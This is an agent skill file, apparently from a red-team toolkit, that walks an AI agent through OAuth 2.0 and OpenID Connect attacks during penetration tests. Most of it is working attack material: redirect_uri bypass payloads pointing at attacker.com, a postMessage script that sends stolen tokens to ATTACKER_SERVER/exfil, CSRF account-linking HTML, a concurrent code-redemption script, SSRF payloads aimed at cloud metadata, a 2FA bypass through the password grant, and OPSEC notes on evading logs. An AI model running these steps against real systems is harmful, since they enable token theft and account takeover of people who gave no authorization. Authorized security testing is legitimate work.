Agent skill
oauth-attacks
Exploit OAuth 2.0 and OpenID Connect vulnerabilities during authorized penetration testing.
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/oauth-attacks
SKILL.md
OAuth 2.0 / OpenID Connect Attacks
You are helping a penetration tester exploit OAuth 2.0 and OpenID Connect vulnerabilities. The target application uses OAuth for authentication (social login, SSO) or authorization (API access, third-party integrations). The goal is to steal authorization codes or tokens, bypass authentication, escalate privileges, or achieve account takeover. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[oauth-attacks] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Web Interaction
OAuth flows are multi-step browser interactions — browser tools are the natural fit for testing these flows end-to-end.
browser_openfor authorization endpoints — initiates the OAuth flowbrowser_fill/browser_clickfor consent screens, login prompts, and permission dialogsbrowser_cookiesto extract tokens from redirect chains and inspect session state after OAuth completionbrowser_evaluateto inspect URL fragments for implicit grant tokens (e.g.,window.location.hash), extract authorization codes from redirects- curl for direct token endpoint requests, testing
redirect_urimanipulation, and code/token exchange
Prerequisites
- An application using OAuth 2.0 or OpenID Connect for authentication
- Burp Suite (to intercept and modify OAuth redirects)
- A domain you control for redirect URI testing
- A test account on the application (to capture legitimate OAuth flows)
Step 1: Assess
Map the OAuth implementation by capturing a complete flow.
Identify OAuth Endpoints
# Check for OpenID Connect discovery
curl -s "https://TARGET/.well-known/openid-configuration" | jq .
curl -s "https://TARGET/.well-known/oauth-authorization-server" | jq .
# Key endpoints to find:
# - Authorization endpoint: /authorize, /oauth/authorize, /auth
# - Token endpoint: /token, /oauth/token
# - JWKS endpoint: /jwks, /.well-known/jwks.json
# - Registration endpoint: /register (dynamic client registration)
# - Userinfo endpoint: /userinfo, /me
Capture the Authorization Request
Intercept the login flow in Burp and note:
GET /authorize?
client_id=APP_CLIENT_ID&
response_type=code& # or token, id_token
redirect_uri=https://app.com/callback&
scope=openid+email+profile&
state=RANDOM_STATE&
nonce=RANDOM_NONCE& # OIDC only
code_challenge=CHALLENGE& # PKCE
code_challenge_method=S256 # PKCE
Key parameters to note:
- response_type:
code(auth code),token(implicit),id_token(OIDC) - redirect_uri: the callback URL
- state: CSRF protection for OAuth flow
- scope: requested permissions
- PKCE parameters: code_challenge and method
Identify the Grant Type
| Grant Type | Flow | Attack Surface |
|---|---|---|
| Authorization Code | Browser redirect → code → token exchange | Redirect URI, code theft, state bypass |
| Implicit | Browser redirect → token in fragment | Token exposure, no code exchange |
| PKCE | Auth code + code_verifier | PKCE downgrade, weak verifier |
| Client Credentials | Server-to-server, no user | Secret leakage |
| Password (ROPC) | Direct username/password → token | 2FA bypass |
Step 2: Redirect URI Manipulation
The most common OAuth vulnerability — bypassing redirect_uri validation to steal authorization codes or tokens.
Basic Redirect to Attacker Domain
# Try arbitrary domain
https://IDP/authorize?...&redirect_uri=https://attacker.com/callback
# Try subdomain variants
https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback
https://IDP/authorize?...&redirect_uri=https://app.com.attacker.com/callback
# Try localhost
https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback
Path Traversal
# Bypass directory-level checks
https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page
https://IDP/authorize?...&redirect_uri=https://app.com/callback/..%2F..%2Fattacker
Open Redirect Chain
If the app has an open redirect, use it to relay the code:
# App has open redirect at /redirect?url=
https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com
The IdP validates app.com, the app redirects to attacker.com with the
code still in the URL.
Parameter Pollution
# Multiple redirect_uri parameters
https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com
# Redirect within redirect
https://IDP/authorize?...&redirect_uri=https://app.com/callback?next=https://attacker.com
Special Characters
# Null byte
https://IDP/authorize?...&redirect_uri=https://app.com/callback%00.attacker.com
# At sign (userinfo bypass)
https://IDP/authorize?...&redirect_uri=https://app.com@attacker.com/callback
# Fragment
https://IDP/authorize?...&redirect_uri=https://app.com/callback%23.attacker.com
# Protocol-relative
https://IDP/authorize?...&redirect_uri=//attacker.com/callback
Scope Bypass to Widen redirect_uri
Some IdPs relax redirect_uri validation for certain scopes:
# Invalid scope may change validation behavior
https://IDP/authorize?...&scope=invalid&redirect_uri=https://attacker.com
Step 3: State Parameter Bypass
The state parameter prevents CSRF on the OAuth flow. Test if it's properly validated.
Missing State
# Remove state from authorization request
https://IDP/authorize?...&state=
# or omit entirely
# If the callback accepts the response without state validation,
# attacker can force victim to complete an OAuth flow with attacker's code
State Not Validated
# Complete OAuth flow normally, capture the callback:
https://app.com/callback?code=AUTH_CODE&state=LEGIT_STATE
# Replay with modified state:
https://app.com/callback?code=AUTH_CODE&state=ANYTHING
# If accepted → state validation is broken
CSRF via Missing State — Account Linking Attack
<!-- Force victim to link attacker's OAuth account to their app account -->
<!-- 1. Attacker starts OAuth flow, captures callback URL with attacker's code -->
<!-- 2. Victim clicks this link (or auto-redirected) -->
<a href="https://app.com/callback?code=ATTACKER_CODE">Link Account</a>
<!-- If state isn't validated, victim's app account gets linked to
attacker's OAuth identity. Attacker can now log in as victim. -->
Step 4: Authorization Code Attacks
Code Reuse
# Capture a valid authorization code
# Try redeeming it multiple times
# First redemption (should work)
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# Second redemption (should fail — if it works, codes are reusable)
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
Code Not Bound to Client
# Capture code from App A's flow
# Try redeeming with App B's credentials
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=APP_A_CODE&client_id=APP_B&client_secret=APP_B_SECRET&redirect_uri=https://app-b.com/callback"
# If accepted → audience binding broken
Code Lifetime
# Capture code, wait, then redeem
# RFC 6749 recommends max 10 minutes
# Wait 15+ minutes
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=OLD_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# If accepted → code lifetime too long
Race Condition (Concurrent Redemption)
Send multiple token requests simultaneously with the same code:
import requests
import threading
url = "https://IDP/token"
data = {
"grant_type": "authorization_code",
"code": "AUTH_CODE",
"client_id": "APP",
"client_secret": "SECRET",
"redirect_uri": "https://app.com/callback"
}
results = []
def redeem():
r = requests.post(url, data=data)
results.append(r.json())
threads = [threading.Thread(target=redeem) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
tokens = [r for r in results if "access_token" in r]
print(f"[*] {len(tokens)} successful redemptions out of 20")
Step 5: Token Leakage
Implicit Flow Token in Fragment
# Implicit flow returns token in URL fragment
https://app.com/callback#access_token=TOKEN&token_type=Bearer&expires_in=3600
# Fragment is accessible via:
# - XSS on the callback page
# - Referer header if callback page loads external resources
# - Browser history
# - postMessage if callback uses it
Referer Leakage
If the callback page loads external resources (images, scripts, analytics), the URL (including code/token) may leak via Referer header.
# Check if callback page loads third-party resources
curl -s "https://app.com/callback?code=test" | \
grep -oP 'src="https?://[^"]*"' | grep -v "app.com"
Token in URL (Non-Fragment)
Some implementations pass tokens as query parameters instead of fragments:
# Bad: token in query string (logged by servers, proxies, analytics)
https://app.com/callback?access_token=TOKEN
# Check server logs, proxy logs, browser history
postMessage Interception
If the callback uses postMessage to relay tokens:
<script>
window.addEventListener('message', function(event) {
// Capture tokens from postMessage
if (event.data && (event.data.access_token || event.data.code)) {
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: JSON.stringify(event.data)
});
}
});
</script>
<!-- Open the OAuth callback in a popup -->
<script>
var popup = window.open('https://IDP/authorize?...&response_mode=web_message');
</script>
Step 6: OpenID Connect Attacks
ID Token Manipulation
If the application validates ID tokens (JWTs) from the IdP:
# Decode the ID token
echo "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.sig" | \
cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Check for:
# - Algorithm: RS256, HS256, none
# - Claims: sub, email, email_verified, aud, iss
# - Signature validation
Escalate for algorithm confusion, alg:none, and key injection attacks on ID tokens.
Email Claim Abuse
Some IdPs allow users to set unverified email addresses:
# Attacker creates account at IdP with victim's email (unverified)
# Logs into target app via OAuth
# App trusts email claim → creates/links account for victim's email
# Attacker now controls victim's app account
# Check: does the app verify email_verified claim?
# Check: does the IdP enforce email verification?
Nonce Bypass
# OIDC uses nonce to prevent token replay
# Test: omit nonce from authorization request
https://IDP/authorize?...&nonce=
# Test: reuse nonce across sessions
# If accepted → replay attacks possible
Discovery Endpoint SSRF
If the IdP supports dynamic client registration:
curl -s -X POST "https://IDP/register" \
-H "Content-Type: application/json" \
-d '{
"client_name": "Evil App",
"redirect_uris": ["https://attacker.com/callback"],
"logo_uri": "http://169.254.169.254/latest/meta-data/",
"jwks_uri": "http://internal.server:8080/sensitive",
"sector_identifier_uri": "http://192.168.1.1/admin"
}'
# If the IdP fetches logo_uri, jwks_uri, or sector_identifier_uri → SSRF
Step 7: PKCE Bypass
PKCE Not Enforced
# Try redeeming code without code_verifier
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# If token returned without code_verifier → PKCE not enforced
# Stolen codes can be redeemed without the challenge
Plain Method Downgrade
# Request with plain instead of S256
https://IDP/authorize?...&code_challenge=VERIFIER&code_challenge_method=plain
# Redeem with same value as both challenge and verifier
curl -s -X POST "https://IDP/token" \
-d "...&code_verifier=VERIFIER"
# If S256 not enforced → attacker who sees the challenge can redeem the code
Step 8: Scope and Permission Attacks
Scope Escalation on Token Request
# Authorization was granted for scope=read
# Try requesting more at token endpoint
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&scope=read+write+admin&redirect_uri=https://app.com/callback"
# If token has expanded scope → scope escalation
Token Refresh with Expanded Scope
# Refresh token and request additional scopes
curl -s -X POST "https://IDP/token" \
-d "grant_type=refresh_token&refresh_token=REFRESH_TOKEN&scope=read+write+admin"
Resource Owner Password Credentials (2FA Bypass)
# ROPC grant bypasses browser-based 2FA
curl -s -X POST "https://IDP/token" \
-d "grant_type=password&username=USER&password=PASS&client_id=APP&client_secret=SECRET"
# If token returned → 2FA is bypassed entirely
Step 9: Account Takeover Chains
Pre-Authentication Account Linking
- Attacker registers at the app with
victim@example.com(no email verification) - Victim later clicks "Login with Google" (which has
victim@example.com) - App links Google identity to existing account (attacker's)
- Attacker has access to victim's linked data
OAuth CSRF + Account Linking
- Attacker initiates "Link GitHub" flow, captures callback with attacker's code
- Victim visits attacker's page containing:
html
<img src="https://app.com/callback?code=ATTACKER_GITHUB_CODE" /> - Victim's app account gets linked to attacker's GitHub
- Attacker logs in via GitHub → accesses victim's account
Redirect URI + Referer Chain
- Find open redirect on the app:
https://app.com/go?url=https://attacker.com - Use as redirect_uri:
https://IDP/authorize?...&redirect_uri=https://app.com/go?url=https://attacker.com - IdP validates
app.com, redirects to app with code - App's open redirect sends victim to
attacker.com— code in Referer - Attacker redeems code → account takeover
Step 10: Escalate or Pivot
After confirming OAuth vulnerabilities:
- Authorization code stolen: Redeem for access token, access victim's API resources. Check what scopes the token grants.
- Access token obtained: Test token against all API endpoints. Route to idor if the API has broken object-level authorization.
- Account takeover achieved: Document full chain. Check for admin escalation via role manipulation.
- ID token forged or manipulated: Escalate for deeper JWT exploitation (alg:none, key confusion, claim tampering).
- SSRF via dynamic registration: Escalate for cloud metadata and internal network exploitation.
- Client secret found: Test against other OAuth-enabled services that use the same IdP.
- 2FA bypass via ROPC: Document as separate finding — complete auth bypass.
Report in your return summary: any new credentials, tokens, access, vulns, or pivot paths discovered.
When routing, pass along: OAuth flow type, IdP identified, working bypass technique, tokens obtained.
OPSEC Notes
- OAuth testing involves URL parameter manipulation — minimal server-side detection surface
- Redirect URI probing generates 302 redirects visible in IdP logs
- Authorization code redemption attempts are logged at the token endpoint
- Dynamic client registration may be monitored
- Account linking operations are visible in application audit logs
- ROPC grant attempts may trigger brute-force detection
Troubleshooting
Redirect URI Strictly Validated
- Try path traversal:
/callback/../other-page - Try query parameter append:
/callback?param=attacker.com - Try fragment:
/callback#@attacker.com - Look for open redirect on the same domain to chain
- Check if alternate API versions have weaker validation
- Try different registered redirect URIs (some apps have multiple)
All Tokens Are Short-Lived
- Focus on authorization code theft (codes exchanged for tokens server-side)
- Check if refresh tokens are issued (longer-lived)
- Test token reuse across different client applications
- Check if token revocation is properly implemented
PKCE Enforced and Properly Implemented
- PKCE is designed to prevent code interception — this defense is working
- Focus on other attack vectors: redirect URI bypass, state bypass, token leakage, account linking flaws
- Check if the code_verifier has sufficient entropy
IdP Requires Exact redirect_uri Match
- This is correct implementation — exact match is the strongest defense
- Focus on: state bypass, account linking, scope escalation, token leakage
- Look for other OAuth clients on the same IdP with weaker redirect_uri validation
Can't Register Dynamic Clients
- Test with existing client_id values found in source code, mobile apps, or public documentation
- Check for client_id enumeration
- Use known client_ids from the IdP's developer portal
Didn't find tool you were looking for?